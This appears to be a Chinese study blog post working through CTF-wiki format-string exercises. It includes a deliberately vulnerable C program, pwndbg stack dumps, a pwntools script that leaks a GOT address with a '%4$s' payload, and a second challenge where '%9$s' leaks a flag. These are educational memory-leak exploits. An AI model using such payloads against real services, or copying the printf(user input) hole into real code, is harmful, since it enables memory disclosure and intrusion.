Raye's Journey

格式化字符串分析

格式化字符串

这个题目是ctfwiki上的

c代码如下:

#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

(突然发现腾讯文档居然还支持代码好强啊

我们编译一下:

gcc -m32 -fno-stack-protector -no-pie -o leakMemory  leakMemory.c -g

把保护措施都关掉了

 % checksec leakMemory   
[*] '/home/abc/Desktop/pwn/leakMemory/leakMemory'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

先看一下几个payload

pwndbg> b printf
Breakpoint 1 at 0x8048330
pwndbg> r
Starting program: /home/abc/Desktop/pwn/leakMemory/leakMemory 
%08x.%08x.%08x

Breakpoint 1, __printf (format=0x8048593 "%08x.%08x.%08x.%s\n") at printf.c:28
28printf.c: No such file or directory.

在printf处下断点
此时栈上的布局如下

00:0000│ esp  0xffffcf9c —▸ 0x80484ea (main+100) ◂— add    esp, 0x20
01:0004│      0xffffcfa0 —▸ 0x8048593 ◂— and    eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
02:0008│      0xffffcfa4 ◂— 0x1
03:000c│      0xffffcfa8 ◂— 0x22222222 ('""""')
04:0010│      0xffffcfac ◂— 0xffffffff
05:0014│      0xffffcfb0 —▸ 0xffffcfc0 ◂— '%08x.%08x.%08x'

continue一下:

pwndbg> c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x

Breakpoint 1, __printf (format=0xffffcfc0 "%08x.%08x.%08x") at printf.c:28
28in printf.c

输出了信息的同时, 命中第二个断点

此时栈上的布局如下:

00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcfb0 —▸ 0xffffcfc0 ◂— '%08x.%08x.%08x'
... ↓
03:000c│      0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcfbc —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfc0 ◂— '%08x.%08x.%08x'
06:0018│      0xffffcfc4 ◂— '.%08x.%08x'
07:001c│      0xffffcfc8 ◂— 'x.%08x'

此时printf函数会把格式化字符串之后的栈上的信息当作参数打印出来:
contiue一下

pwndbg> c
Continuing.
ffffcfc0.f7fcf410.0804849d[Inferior 1 (process 4975) exited normally]

之前栈上的信息显示的不全,栈的内存如下:

pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x78383025 0x3830252e 0x30252e78 0x00007838
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0x6f984f00
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748

0xffffcfb0 是格式化字符串的地址, 我们看到此时printf函数将0xffffcfc0 0xf7fcf410 0x0804849d
都打印出来了, 也就是格式化字符串之后的三个位置的信息

我们通过这种方式泄露栈的信息,但是也可以直接去取得栈中被视为第n+1个参数的值
至于为什么是第n+1, 这是因为格式化字符串是第一个参数

比如 通过 %3\$x(这个的原理是啥?为什么要加\$符号) 我们可以泄露栈上被视为第4个参数的值

栈布局如下:(左边的一列是栈地址,也就是内存的地址,箭头代表了这个内存单元存储的数据,如果是指针还会进一步指示)

00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcfb0 —▸ 0xffffcfc0 ◂— '%3$x'
... ↓(这里是省略号,是不是就是直接指向了,中间那个就被跳过了)
03:000c│      0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcfbc —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfc0 ◂— '%3$x'
06:0018│      0xffffcfc4 ◂— 0x0
07:001c│      0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0

同样看不清, 还是直接打印内存信息吧(x命令的用法,这里显示的是内存地址从0xffffcfb0开始的,因为内存是按照字节编址的,所以一行正好是16个字节内存地址就是加10)

pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d (0xffffcfb0这个内存单元指向了0xffffcfc0)
0xffffcfc0:0x78243325 0x00000000 0xf7ffd940 0x000000c2 (看内存单元0xffffcfc0存放的内容就是x$3%)
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0xd6a57700
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748

猜猜这时候打印的信息是啥?
答案是栈上被视为第四个参数的信息: 0x0804849d

同样的我们还可以通过%s来得到字符串的信息

栈布局如下:

00:0000│ esp  0xffffcfac —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffffcfb0 —▸ 0xffffcfc0 ◂— 0x7325 /* '%s' */
... ↓
03:000c│      0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffffcfbc —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffffcfc0 ◂— 0x7325 /* '%s' */
06:0018│      0xffffcfc4 ◂— 0x1
07:001c│      0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0

还是看不清,直接看内存吧(md 垃圾pwndbg)

pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x00007325 0x00000001 0xf7ffd940 0x000000c2
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0xf1ae2900
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748

这个时候会直接将 0xffffcfc0 对应的字符串打印出来
结果自然就是 %s了

如果我们输入%2$s, 这个时候就很有趣了, 按照道理程序会将 0xf7fcf410 对应地址的当作字符串打印出来, 可是如果这个地址无效呢?
我自己尝试的结果是直接退出了,什么都没有打印出来emm

这时候如果我们指定一个合法的地址, 比如got表中某个函数的地址这就很神奇了

exp如下:

from pwn import *
import time
sh = process('./leakMemory')

context.log_level = 'debug'
leakmemory = ELF('./leakMemory')

__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']

print hex(__isoc99_scanf_got)

payload = p32(__isoc99_scanf_got) + '%4$s'

print payload

payload1 = '%4$s' #这两个payload是自己测试的
payload2 = 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'
gdb.attach(sh)
#time.sleep(1)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
#print sh.recvuntil('%4$s\n')
#print '\n'

print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got

sh.interactive()

我们运行这个exp
在pwndbg中下断点

运行到第二个printf的时候

───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp  0xffa3bdfc —▸ 0x80484f9 (main+115) ◂— add    esp, 0x10
01:0004│      0xffa3be00 —▸ 0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push   ebp
... ↓
03:000c│      0xffa3be08 —▸ 0xf7f85410 —▸ 0x8048278 ◂— inc    edi /* 'GLIBC_2.0' */
04:0010│      0xffa3be0c —▸ 0x804849d (main+23) ◂— add    ebx, 0x1b63
05:0014│ eax  0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push   ebp
06:0018│      0xffa3be14 ◂— '%4$s'
07:001c│      0xffa3be18 —▸ 0xf7fb3900 (catch_hook) ◂— 0x0

另一边

[+] Waiting for debugger: Done
[DEBUG] Sent 0x9 bytes:
    00000000  14 a0 04 08  25 34 24 73  0a                        │····│%4$s│·│
    00000009
[DEBUG] Received 0x24 bytes:
    00000000  30 30 30 30  30 30 30 31  2e 32 32 32  32 32 32 32  │0000│0001│.222│2222│
    00000010  32 2e 66 66  66 66 66 66  66 66 2e 14  a0 04 08 25  │2.ff│ffff│ff.·│···%│
    00000020  34 24 73 0a                                         │4$s·││
    00000024

continue

[DEBUG] Received 0x8 bytes:
    00000000  14 a0 04 08  b0 2b df f7                            │····│·+··││
    00000008
0xf7df2bb0
[*] Switching to interactive mode
[*] Process './leakMemory' stopped with exit code 0 (pid 5064)
[*] Got EOF while reading in interactive

这个时候我们就得到了scanf函数的地址了
ok 还有几个地方没弄明白之后再写

确定可控制格式化字符串位置的方法

既然程序是有漏洞的,我们就必须知道可被控制的格式化字符串的位置,这时候大致有以下几种姿势

  1. 构造类似 [tag]%p%p%p%p%p%p...这样的参数
  2. Pwngdb中有一个叫做fmarg可以用来获取指定地址到底是第几个参数

不是很理解第一种方法原理,但是第二种方法比较好用

不过我们可以来看一个例子:

IDA中的C代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+3h] [rbp-3Dh]
  signed int i; // [rsp+4h] [rbp-3Ch]
  signed int j; // [rsp+4h] [rbp-3Ch]
  char *format; // [rsp+8h] [rbp-38h]
  _IO_FILE *fp; // [rsp+10h] [rbp-30h]
  char *v9; // [rsp+18h] [rbp-28h]
  char v10[24]; // [rsp+20h] [rbp-20h]
  unsigned __int64 v11; // [rsp+38h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  fp = fopen("flag.txt", "r");
  for ( i = 0; i <= 21; ++i )
    v10[i] = _IO_getc(fp);
  fclose(fp);
  v9 = v10;
  puts("what's the flag");
  fflush(_bss_start);
  format = 0LL;
  __isoc99_scanf("%ms", &format);
  for ( j = 0; j <= 21; ++j )
  {
    v4 = format[j];
    if ( !v4 || v10[j] != v4 )
    {
      puts("You answered:");
      printf(format);
      puts("\nBut that was totally wrong lol get rekt");
      fflush(_bss_start);
      return 0;
    }
  }
  printf("That's right, the flag is %s\n", v9);
  fflush(_bss_start);
  return 0;
}

显然的格式化字符串漏洞

我们需要在printf函数处下断点

然后随便输入一些数字:

[-------------------------------------code-------------------------------------]
   0x7ffff7a48e6c <__fprintf+172>:	
    call   0x7ffff7b18c80 <__stack_chk_fail>
   0x7ffff7a48e71:	nop    WORD PTR cs:[rax+rax*1+0x0]
   0x7ffff7a48e7b:	nop    DWORD PTR [rax+rax*1+0x0]
=> 0x7ffff7a48e80 <__printf>:	sub    rsp,0xd8
   0x7ffff7a48e87 <__printf+7>:	test   al,al
   0x7ffff7a48e89 <__printf+9>:	mov    QWORD PTR [rsp+0x28],rsi
   0x7ffff7a48e8e <__printf+14>:	mov    QWORD PTR [rsp+0x30],rdx
   0x7ffff7a48e93 <__printf+19>:	mov    QWORD PTR [rsp+0x38],rcx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde08 --> 0x400890 (<main+234>:	mov    edi,0x4009b8)
0008| 0x7fffffffde10 --> 0x61000001 
0016| 0x7fffffffde18 --> 0x602cb0 ('a' <repeats 16 times>)
0024| 0x7fffffffde20 --> 0x602260 --> 0x0 
0032| 0x7fffffffde28 --> 0x7fffffffde30 ("flag{", '1' <repeats 12 times>, "}\n\377\377\377")
0040| 0x7fffffffde30 ("flag{", '1' <repeats 12 times>, "}\n\377\377\377")
0048| 0x7fffffffde38 ("111111111}\n\377\377\377")
0056| 0x7fffffffde40 --> 0xffffff0a7d31 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, __printf (format=0x602cb0 'a' <repeats 16 times>) at printf.c:28
28	printf.c: No such file or directory.

这时候可以看到flag了,注意我们是在本地调试,调试的时候当然可以看到flag,一般的pwn题都是要远程连接的

如果我们要泄露flag的值,就需要构造%n$s这样的传进去。所以获取参数的位置很关键

gdb-peda$ fmtarg 0x7fffffffde28
The index of format argument : 10 ("\%9$p")

通过Pwngdb就可以查看参数的位置了

这时候运行

abc@ubuntu ~/Desktop/pwnEaxmple/zifuchuan
 % ./goodluck 
what's the flag
%9$s
You answered:
flag{111111111111}
���
But that was totally wrong lol get rekt

就得到了flag

(这里值得注意的就是,64位系统和32位系统传参是不一样的)


>  cd ..